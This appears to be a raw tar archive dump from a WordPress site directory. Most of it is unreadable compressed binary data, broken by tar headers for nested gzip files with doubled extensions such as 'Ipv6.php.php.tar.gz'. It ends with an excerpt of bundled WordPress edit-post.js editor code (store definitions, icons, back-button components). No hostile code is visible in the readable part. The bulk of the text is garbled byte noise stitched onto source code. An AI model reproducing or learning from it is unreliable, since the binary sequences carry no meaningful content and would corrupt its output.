�#um@k{�6��`^)\Z�;W53�sW4���"�1x�RҒm9p\&F�Ӏ���r�b�6xb\E�kEBU�v������;��,ce�6s֌�l[qY���i���9|����7�Ed�X��AQ޷C} h�-��uЈ�{���d~?M�E�'B��gww��s/g�g�[[[��|�����emY�/��l{�M��v��=��[�io�{�����9~��/�׶�cm�JKW�j�qo'������h���{_��m��Smd߲O�������^�0G�Ct?^����sk*�^�,Ł�I��of՗��c��%<�x�߂ꝴׇ/��w,�͗V�Kh�S�Ъ�Zn���7N�W�8}@_B�1���lr �����|N���[p1��S'��ǭ��q�ϻGu����t��zYv�hO
Wq,�'��z!a�h懋 3B�)��&�";Πus.�5蝙$,��z9q���u��t��֕��.)9�+\\4R77U��/�4,n8}0
���f�lnʓ����R�>}܀u2V��|�'��fD��N)Ցm�*���k�ͤ~�ؠ��xl�#>0�ZgX"�8Q�d��ܴ1����ͣ�I��E�3�<�G�j�6�Ȁ����+�����
��o�N���3Z����l�t5�To��0ޯC$���i$@�_a�S�o��)�W2H�1�"��K.�m��+�e�~�m����M�	���2�
�De��R�=��(۷c�a>�;�3I�ư:����NH��Ǧ�{�4zD�AŠ�m�ab�B�>Q�\�b9���k�r��S�5'��|0(l����.-�Dx��ƻ�R�[����g;-�a�.<��nM]�qD^�H�5*��m���E��~V�
�L���Я�^�T;Ͽ��=oN��3:�o1�B����22
3�{5N�,��
Ӏ�{��]�V�遌�(C)TXͱ���4� |]�&�`�ynl��2���,�'�nP���)�Q��>�`�:�)0"�RZhȥ�0�f��Hy�5��6^1)�+�o7ǎɚ+�3�0�P�	����H��k�qe�g��D6a"�	n&��B�B�C
N�dŏl:� Z��G��M�jZ�R8�ݫ��kCD�~֘N?��<�K%Le�C�]KF
�C��:���kN�c<�$��0�;"gK��fYGr����+ק�UQ[�sx>������k}j8/�-w�rA�>Y���I��P4�H�DbK侅����KBy��5<I�i%��4pTlT��	@֏���\(i?��5P˱�w��I�)2yA��[�����
�Y�%EкK�l��Z�A	&M@�g
6���–�|
;��)l��DX��23Ij�{�Yȷ*T��dž����
�zoE�Z�ď��@c�r�����g�rf�`�+I�IR"�b�Gh1�uQ�5�M0=�>S*q���P�x!c�Ģ"Bvj�v���[�G��Vbf�o��:FW��QT֌�7μDZb���6�=�դC;�e�G@:��*�����J�� ��R���C	���3��PR�iQ�.&, �~��S�Lp���O�R���1{�u���/�g��l�
K��8�;��nlIL9�b��[}D��[�Ӧ���eN�Ί4��v�)ڑ�5��=E`B��g�ԐA�7T�OX3Wƴ���3�UG8�V�{�������-1g���i�&e�z=KE��ԙ���\M�VI��%\��oE�I�ᘩ�0���a�R1�X��EY�dlě��A���J�A�tf�y���AKb�e�"��s�R^��LԵU�%�4뚂(R�f�B�f"B��w�}H���%"�8C�A`��8��a�·�6TgPR�'���K��~i.���[��zz�$�"5��0D��2A�B�XB�ژK�,$��~.H��}�X$��>���OhvXWn5���j�G��F$4��A���
J��.�Dkt4�ǰ
B����~C��s����^���z�A}gCK�O�Y��Y	��J>�c�0],�Ď��ۙ��G�o���VQ?��i������sP�����N�mm����6voX۷fA>��1��m�i��z~���>߉�,���K<��������>�~��Ò?��?����x����
��+�F?
g�X쓎d��h�-�zK}����S0�!Et�#�Sp��oǎ����y3����s3��s|
S�u����LNL𩼉.�(N��[W��S��+�sE���)	Sa}w���V�><T���r:/$�:��I]-сj��!,�W�B�w�-�ך(6>1�v8�ix�L��Io����`b��ly���'/=b�H�E�IR-ٟn���!_�/e2p.&|/uLzjK}�
�[n�E���!S���0_F��F�,/�.� Pw��*��qm�(�m�������E*A߾�z��7e��q�Cݿ� rӛ�t*\S�J�8�P�i9��I��q��I~w��9�*�ӈ1QF/=n<e?�<B� �u���,>J~�6�:��l?5=%��qk���y"i����k�[2�m��0�M�m�V\�#�Ѽ�TA�>�Cy�;����2���Y�G΅W�H�f:��#T
Z%�M�T��$�\�~�V�_���`�b@�L�T�Mr`�J��?�(�!A���*٠�P㺘�'J��\�t[�d�d#�u�d$�VN53��L��h*C���y�̇e5e�iZ����T/�r�5��/� �����o�y���%�*zC�(B�*��j�	IEX���5�e\y��S�O��IW\�\���y���b�zZu�2~��X�ģ|���Y�)՝l3u�X����G��H����}�FR����}�Ɠ�������Y�V��Z�g�L�7Ls�Vd��7�׀(��V։�c���K}���+��	�(��٦fR�I"b��Y��\�̘��Ξ�ܴ�/�eC�3h��u���fVI�;��&��9��n1[�*<q�Ufn�"&*'�?���1�G3x�&x��0�<�]bs��l������u�:���ɭ�)ts��G[if
Ui&0WW�i\[!����0����`*~��뢏�u����Sź�i:�xq���ʸ^R[�(�_`�VƨyR� �j�#8�2�����pFG2ڥ�:`�7D.A}uO�d�Y1	����B��Ю�[���o@��F��'�h����W�f�W�FOQ����']
������OQ��D~�:]Ҥ�r���Qȋ��C)	rۧ�J;��Q��
�a�<<��2�]j�:� �1��r�ROGu�4T^�����i
b��Ta��y�VR�܁�Xԅ9q+Las㙥n�y�^2v�V��F�)���/���qɦ2'f�r��B�;��/�/1����r\��y�vF�nmpx�eq�r�az0�r�|eg���6J@P��Oyp�IV���s��qۢll�N77�N���]��d�
��zƆ�evw��w���IC���Z��/��χ���S�N���?T��X��劎��*��o�PQ�Piu�FT�WR2�)6�>��}B��T��YXmG�/�F|���V�)b �[C����^~_ei[� _z�[}I.��E����_�W�����ڽ	�X�vDH��s�ǛT|U��r�죈������X�A�n���\��	��j���+_�L`Nq�+/.�M���J���|��_,T^�+b��������A���=,@^5��:3��TGq�ҥ�I���l�y���4ز���G�����i)�u�kEͧ�,>��|����y7�M����+a�Y�!�AGj�yI"d�|a�(��i
��Ix����	�ď�
��'��vR��R8ׯ}�_���
�e�p�\߂�2� ��:f	���K>����>
/~<=:�_�}x�j�������'g?���ޟ�5�tf���臃7����I
�Oޟ@ϗ���8�4Lf̞���/q��z�����Pxvq��F���ߟ���]��oN�=�T�urn����P�:��W�M�_��������87Z14338/verse.tar.gz000064400000001560151024420100007470 0ustar00��X[o�0��Q��M*�p��Ӷ�Z��$��a��I��g�e�}��Hl���{���wl#ՔAY(V	iTq�<���!���V���l�9-�Vo�ͺ��NDZj�e�TD`�c��L��qwT����c��K�/&UP�1q���� �;	@��M��C�򐄔M�4B5�f�.��������>�w:���G@���
�v��G������z���v�Q���C�R����Zv�T,��j*���
~U�$U�{�>G3�[�<ş]��%	A{q����FQQŌ�6�D���TK�+#�@���*�h_G��bJL+�W	�����Y��ȷ�\�DɊ�YX?�P���Mue�8�t…'��7�N����[h[�M~���CBMX�$aiFD)A�m�S��c{�H���46�a�����'��>\Ņ�:���I�;q���{w��t�EM\Hg�9NA�L��*�0�G�I,"�f�(�2�c.TV��d��c�;�O"/s�]���g���_��~�c<B̖��tv�a�X�"�G��YV�˙�2��ģ�T��1��,��u:�[��G��3'6^����O��C��Z8\L��4����}�*W�0^�$ؙ��������]�>�R z)g�л���$���;�.��������!?ro�-�6����Y9�'§�db�yOW��fXx3;a����쏼���`I͔$ϓ	�T��,ص�ȕ��Q�;�����Z�E�i*~"c꯮�jϙ;��7F�g���{�5��]��N}Z���?'|���S+�G���_ɲ�O@l{^ !KO��l�c�N]s�%��}�=��n:��(�_�@����U��14338/Ipv6.php.php.tar.gz000064400000003747151024420100010555 0ustar00��Xms�6�W�W��d*)��"+jBǎ=���i�q��ۧR$2�H%�u����^�^:������g_�xt�Θ=�L�'�$v��KX3?��i��|2I� �yo��^d�Q��	����3!�-x`���+�g�����V���{�8�>s_�N�p����{y��i�F.����a�o8޼�j�/^���ž S��q4�%?�|��;XD2�w����1V�`�H�$�;ʠ����2�#)	��J|,+b�S�#��r��V.VoΗ�d�&7���)��3���M���=�f���v<���F���G�(��F�`cH�!����+z:Q+��uF���G�%���G�!gI��w&oB��:`�[k�B�Aݏ	��L��a5!%tuq��k0�t!�>�)�B�$����~e<�,b�E	A4�P`m�k[:73&�tl��@�y��*�(�Be��(�s��2�$���D�\��Η�,��pqḞ�:.���S����J5P��N*NS�4r���Ә-�ct�{��7~1�f8?Y��5f�
Ox�܁/1m��(�TB7���.Ypo>�2���+-�tʧ6H�{,�PB�q���KL:��?/�;���#�j<����l;�p��<`b�汰Gb�o&��Uę���Oޫ3xep�^Op™�yb4�KyU���x"CN�w�{�9�2}�2_���,��`N����t�	�QՍ����F��}���<�`�]:P;�:M�H5�0��ʈV:::����wT�����!�t�=h�Z?֒��S&�}��������h�����'�-��G�<TM�������?�+�xd�J��8J��=��Ng��Y��ժ��<p�1��Sa���[�w��U?(N�CC�6A��+ �P%�RQ<�L��ԣ���2F�!���� O��(�6r��Tn7	�i+,<ӂ5�����R!L�8F
��7��p��oa��T(;PI��	���~����u�Ѧ�{�U��~�զ���pK�Z�r���:��[�"�������[���L)��9tI�okf+ͫ��64���U�k^��	�����W����N��#保�������L�KJۨoi�R��ST]���-�=�эH����q�l6ua�$N2��	��1ӪeX���5}	���leCtk����p�7R�+} �b߰ƔE�QG�vnML�dw���u��ε����kS'�qoz��K���E�:B_C&�[�0쨐g��!�A�o=B�������3���\^�7��������减W�݂�g��w4 q�$��X�')vC�~���H񒬧� ��%F��c�Z2��5�C�X[6��^���1���lӄ�t77셐{ډf�)e�[՚���p4+:l=�k�[1aiZ�i��{*�5J�Kgj�&�0��zM��}H���Qx�ځ_�֥J�Ɛ*d�
$Ѹ�7��@�
.;�\k��:��x8<���r�}�e�:x����h����%��_�6�	Ž�2J�kD�k"��hN������坳��l��P%�$yM�\�����(+YK8�j+��&)eaL�6��@U���-U{�=jo*ٳ�o�wq�8ү�S�$H���~冏�4�sFvH��G��:��4�_֒jW뭽����f��4)SK���;�f�����o��څ�CS������Ϋվ^u���de��T�E�O=��ߢg�Nх�iz3��-�f��/;O�0�ɼ,uu8�~R��/��BL���ñb�JɸXkm5���8�r�fݼ8@G��������?���H�#T�*�K�xlf��o;�M���L[�+�}T�Y�ƣ@�M�3�}�kG���$T��>�hYM��3�b�b��7�������%��G�Zz�,͕�jVV���~����:؈�5	s!�{���j��x,��
��X��-|]�+������4���xO�O��~Ė14338/class-wp-roles.php.php.tar.gz000064400000004631151024420100012575 0ustar00��Zmo����`P�$�Zv|4��I_4��I����v)��j��+j��ޙ!�K�R��3����Ù�<3e�V�pQ��z��0)�JT��E�	���)�f�P�U����D�Z��G2O�&�a��z+��D��7��瓓�lv<������f�'�G'�g�~|����
Y��T5/A�o!����e{��C%J��������ȿ���*xr�/����-�LE�U3��,B�v�D3��pϊx�J����)���"+�׌�Z�(�P��~���TQK�3Y��NMY
[U]6I�c�P�%�|��|%���@ґ!��e��k�5�yA�c\�+��Hj�>���%h�K�Y���_9,�|���
��Y�g7���~t�M��QY-��y���Z��~:�r��M<���`��hf����Y�֯6 G&oKU�Y^�i�a��:xL�.�m�����3b�4D�	��k^j=�/p�poT4�L&l�x=�
��Ș�C$����A��N��Bې�Q�%hX1�E�8��B�q�G�@���
I�(t%}\
�_�9yG�Ly��ҒK�5y��H?r�ϕ�z��y��ᶐ��U3���`�_���i&s��Q�*�'��]�2���R��D8���c��ܙ+��5`�:�t䐞�,�O��eCx�FHS�:�.35G�Q�!-�7�`���Z�B'�F�ì�%_��ۼ��R�����R�X�&�QFҔ%��#�1�&O(��8�F��v˛,c��#s-�Bh��~��գ筓Ū�7���\Z�3F)�0�}u��_����׼��WW�*� 6y���9��5/iԪ�Ԩ�]׸:[�>�}oH8�Y��ګl�FT��_@_ &��"�����Djʜ��g�~Y���L/y�U�L�(�ε�v�
�L��SW-�4�`6�1N����[�͑����&,�"�
x��Ғ^=O�@�t��6�=�ok8�p��hQ���L�e� (�r-�%�wA5f�(D���^/�7�L�jq�,@��2�(6�A|�{M�\�DT0h��00p���5x@ҷu���6��չ�\��w�bK0ǿ���*��lLb������ۙ�Фr|�]�L$�t���.8L���)$��b
�ÿ����2�U<�ԥ�<�����$CLp���-[?�~
��-l�˟R|����zK�H��Ӛbh��������ڝ�ǚ2�4B�U>�^:C��0���ljSȻ�h�Xx�AӇ�K�x��}�}
,�I�$�rv�I�{b
0���ݩ�7�>�����O��th�;�;���Boe�3k�(D�ʪ��Z0MjV�G��9�`���tƳ�m	�m�7���]Kk�Sb���e�Y[���U�Uks�Td�f����uƮ�T�u5�K�	�/�
j��ä�f��|����훩o�iϦm#�.�H�������؊E�n�/؁_�t���Gm%��X�W�h/*�HCŒ4�["���!��.�%�/�z�������%6��^��8���g`��r�H�n�_��^�A
T���-�͝���T�S8�(�
17tBeh�m��8�,Lس�2������ex)� ��>�j���%�w�f^%���r�Ff���X����1d@Ⱦ��u�@�Yr�,;̶o^b�mF-8��X�P@w��j�Su3/+�V�S���w�C�Ź6⅖p���X�juט�EH�"b;x�s�ؕ�[r��c�'h���yS�<����6���TO�-+���^5�4�-p������2�]�{����7L	=��a�9���y�.F۽�
�GD9A�
C�5������ʛ����2#�Կ�����ڐ)uOk?����²
�9�@)v���y��c�an�c;y),��a�c�4��C��@G��C%L�d	ri!��_���_��4��x�YQW~њ������,�e4<��K~

��;;��g�S�ȚK����2�%S�u3��s�tt��ù��GMZ�(()��to��)���Q�bnFc�@�IqJ��Nʁ?�֠ 0���ު?Jk����&�4uѳ��w��w>���&B��x:0.�2�N�]7��M�v�����n�G{%`p��(O3-X����Z�G����ag�����7�������`㰣K�Ζ�*F�O���g�����J�AN�O鬗H��[O�Լ):-�Cl�s&�[�1_���m�>��-S�~~�1�jfg�jv2���v�O4���2�o�z��%T�$�ԃM�`����6B��n1���(�1A�Y���yJ�ޑy*��m���k����Un�L����ɔ[�h��̪��ޥ����� ߿������]�(14338/editor-rtl.css.css.tar.gz000064400000000277151024420100012013 0ustar00�����0p�</�}�
Ɔ�1�ww��A�~�k�C��M�;=#�
ҡ�+f����V�jp���r�=e�gv\�Q�t�uR�D�@�b�ڤ�����5U=�wu�u΋�WS�yєe��pd[�O~���|���5�dm�8I������Fi����G� ���˫)�14338/edit-post.js.tar000064400000364000151024420100010251 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/edit-post.js000064400000360671151024361620025216 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  PluginBlockSettingsMenuItem: () => (/* reexport */ PluginBlockSettingsMenuItem),
  PluginDocumentSettingPanel: () => (/* reexport */ PluginDocumentSettingPanel),
  PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
  PluginPostPublishPanel: () => (/* reexport */ PluginPostPublishPanel),
  PluginPostStatusInfo: () => (/* reexport */ PluginPostStatusInfo),
  PluginPrePublishPanel: () => (/* reexport */ PluginPrePublishPanel),
  PluginSidebar: () => (/* reexport */ PluginSidebar),
  PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
  __experimentalFullscreenModeClose: () => (/* reexport */ fullscreen_mode_close),
  __experimentalMainDashboardButton: () => (/* binding */ __experimentalMainDashboardButton),
  __experimentalPluginPostExcerpt: () => (/* reexport */ __experimentalPluginPostExcerpt),
  initializeEditor: () => (/* binding */ initializeEditor),
  reinitializeEditor: () => (/* binding */ reinitializeEditor),
  store: () => (/* reexport */ store)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-post/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  __experimentalSetPreviewDeviceType: () => (__experimentalSetPreviewDeviceType),
  __unstableCreateTemplate: () => (__unstableCreateTemplate),
  closeGeneralSidebar: () => (closeGeneralSidebar),
  closeModal: () => (closeModal),
  closePublishSidebar: () => (closePublishSidebar),
  hideBlockTypes: () => (hideBlockTypes),
  initializeMetaBoxes: () => (initializeMetaBoxes),
  metaBoxUpdatesFailure: () => (metaBoxUpdatesFailure),
  metaBoxUpdatesSuccess: () => (metaBoxUpdatesSuccess),
  openGeneralSidebar: () => (openGeneralSidebar),
  openModal: () => (openModal),
  openPublishSidebar: () => (openPublishSidebar),
  removeEditorPanel: () => (removeEditorPanel),
  requestMetaBoxUpdates: () => (requestMetaBoxUpdates),
  setAvailableMetaBoxesPerLocation: () => (setAvailableMetaBoxesPerLocation),
  setIsEditingTemplate: () => (setIsEditingTemplate),
  setIsInserterOpened: () => (setIsInserterOpened),
  setIsListViewOpened: () => (setIsListViewOpened),
  showBlockTypes: () => (showBlockTypes),
  switchEditorMode: () => (switchEditorMode),
  toggleDistractionFree: () => (toggleDistractionFree),
  toggleEditorPanelEnabled: () => (toggleEditorPanelEnabled),
  toggleEditorPanelOpened: () => (toggleEditorPanelOpened),
  toggleFeature: () => (toggleFeature),
  toggleFullscreenMode: () => (toggleFullscreenMode),
  togglePinnedPluginItem: () => (togglePinnedPluginItem),
  togglePublishSidebar: () => (togglePublishSidebar),
  updatePreferredStyleVariations: () => (updatePreferredStyleVariations)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/edit-post/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  __experimentalGetInsertionPoint: () => (__experimentalGetInsertionPoint),
  __experimentalGetPreviewDeviceType: () => (__experimentalGetPreviewDeviceType),
  areMetaBoxesInitialized: () => (areMetaBoxesInitialized),
  getActiveGeneralSidebarName: () => (getActiveGeneralSidebarName),
  getActiveMetaBoxLocations: () => (getActiveMetaBoxLocations),
  getAllMetaBoxes: () => (getAllMetaBoxes),
  getEditedPostTemplate: () => (getEditedPostTemplate),
  getEditorMode: () => (getEditorMode),
  getHiddenBlockTypes: () => (getHiddenBlockTypes),
  getMetaBoxesPerLocation: () => (getMetaBoxesPerLocation),
  getPreference: () => (getPreference),
  getPreferences: () => (getPreferences),
  hasMetaBoxes: () => (hasMetaBoxes),
  isEditingTemplate: () => (isEditingTemplate),
  isEditorPanelEnabled: () => (isEditorPanelEnabled),
  isEditorPanelOpened: () => (isEditorPanelOpened),
  isEditorPanelRemoved: () => (isEditorPanelRemoved),
  isEditorSidebarOpened: () => (isEditorSidebarOpened),
  isFeatureActive: () => (isFeatureActive),
  isInserterOpened: () => (isInserterOpened),
  isListViewOpened: () => (isListViewOpened),
  isMetaBoxLocationActive: () => (isMetaBoxLocationActive),
  isMetaBoxLocationVisible: () => (isMetaBoxLocationVisible),
  isModalActive: () => (isModalActive),
  isPluginItemPinned: () => (isPluginItemPinned),
  isPluginSidebarOpened: () => (isPluginSidebarOpened),
  isPublishSidebarOpened: () => (isPublishSidebarOpened),
  isSavingMetaBoxes: () => (selectors_isSavingMetaBoxes)
});

;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external ["wp","blockLibrary"]
const external_wp_blockLibrary_namespaceObject = window["wp"]["blockLibrary"];
;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// external ["wp","preferences"]
const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
;// external ["wp","widgets"]
const external_wp_widgets_namespaceObject = window["wp"]["widgets"];
;// external ["wp","editor"]
const external_wp_editor_namespaceObject = window["wp"]["editor"];
;// ./node_modules/clsx/dist/clsx.mjs
function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// external ["wp","plugins"]
const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
/**
 * WordPress dependencies
 */


const chevronUp = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"
  })
});
/* harmony default export */ const chevron_up = (chevronUp);

;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
/**
 * WordPress dependencies
 */


const chevronDown = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"
  })
});
/* harmony default export */ const chevron_down = (chevronDown);

;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","commands"]
const external_wp_commands_namespaceObject = window["wp"]["commands"];
;// external ["wp","coreCommands"]
const external_wp_coreCommands_namespaceObject = window["wp"]["coreCommands"];
;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// external ["wp","htmlEntities"]
const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
;// external ["wp","coreData"]
const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
/**
 * WordPress dependencies
 */


const wordpress = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "-2 -2 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"
  })
});
/* harmony default export */ const library_wordpress = (wordpress);

;// ./node_modules/@wordpress/edit-post/build-module/components/back-button/fullscreen-mode-close.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */









function FullscreenModeClose({
  showTooltip,
  icon,
  href,
  initialPost
}) {
  var _postType$labels$view;
  const {
    isRequestingSiteIcon,
    postType,
    siteIconUrl
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getCurrentPostType
    } = select(external_wp_editor_namespaceObject.store);
    const {
      getEntityRecord,
      getPostType,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const siteData = getEntityRecord('root', '__unstableBase', undefined) || {};
    const _postType = initialPost?.type || getCurrentPostType();
    return {
      isRequestingSiteIcon: isResolving('getEntityRecord', ['root', '__unstableBase', undefined]),
      postType: getPostType(_postType),
      siteIconUrl: siteData.site_icon_url
    };
  }, []);
  const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
  if (!postType) {
    return null;
  }
  let buttonIcon = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
    size: "36px",
    icon: library_wordpress
  });
  const effect = {
    expand: {
      scale: 1.25,
      transition: {
        type: 'tween',
        duration: '0.3'
      }
    }
  };
  if (siteIconUrl) {
    buttonIcon = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.img, {
      variants: !disableMotion && effect,
      alt: (0,external_wp_i18n_namespaceObject.__)('Site Icon'),
      className: "edit-post-fullscreen-mode-close_site-icon",
      src: siteIconUrl
    });
  }
  if (isRequestingSiteIcon) {
    buttonIcon = null;
  }

  // Override default icon if custom icon is provided via props.
  if (icon) {
    buttonIcon = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
      size: "36px",
      icon: icon
    });
  }
  const classes = dist_clsx('edit-post-fullscreen-mode-close', {
    'has-icon': siteIconUrl
  });
  const buttonHref = href !== null && href !== void 0 ? href : (0,external_wp_url_namespaceObject.addQueryArgs)('edit.php', {
    post_type: postType.slug
  });
  const buttonLabel = (_postType$labels$view = postType?.labels?.view_items) !== null && _postType$labels$view !== void 0 ? _postType$labels$view : (0,external_wp_i18n_namespaceObject.__)('Back');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
    whileHover: "expand",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      className: classes,
      href: buttonHref,
      label: buttonLabel,
      showTooltip: showTooltip,
      children: buttonIcon
    })
  });
}
/* harmony default export */ const fullscreen_mode_close = (FullscreenModeClose);

;// external ["wp","privateApis"]
const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"];
;// ./node_modules/@wordpress/edit-post/build-module/lock-unlock.js
/**
 * WordPress dependencies
 */

const {
  lock,
  unlock
} = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/edit-post');

;// ./node_modules/@wordpress/edit-post/build-module/components/back-button/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



const {
  BackButton: BackButtonFill
} = unlock(external_wp_editor_namespaceObject.privateApis);
const slideX = {
  hidden: {
    x: '-100%'
  },
  distractionFreeInactive: {
    x: 0
  },
  hover: {
    x: 0,
    transition: {
      type: 'tween',
      delay: 0.2
    }
  }
};
function BackButton({
  initialPost
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BackButtonFill, {
    children: ({
      length
    }) => length <= 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
      variants: slideX,
      transition: {
        type: 'tween',
        delay: 0.8
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fullscreen_mode_close, {
        showTooltip: true,
        initialPost: initialPost
      })
    })
  });
}
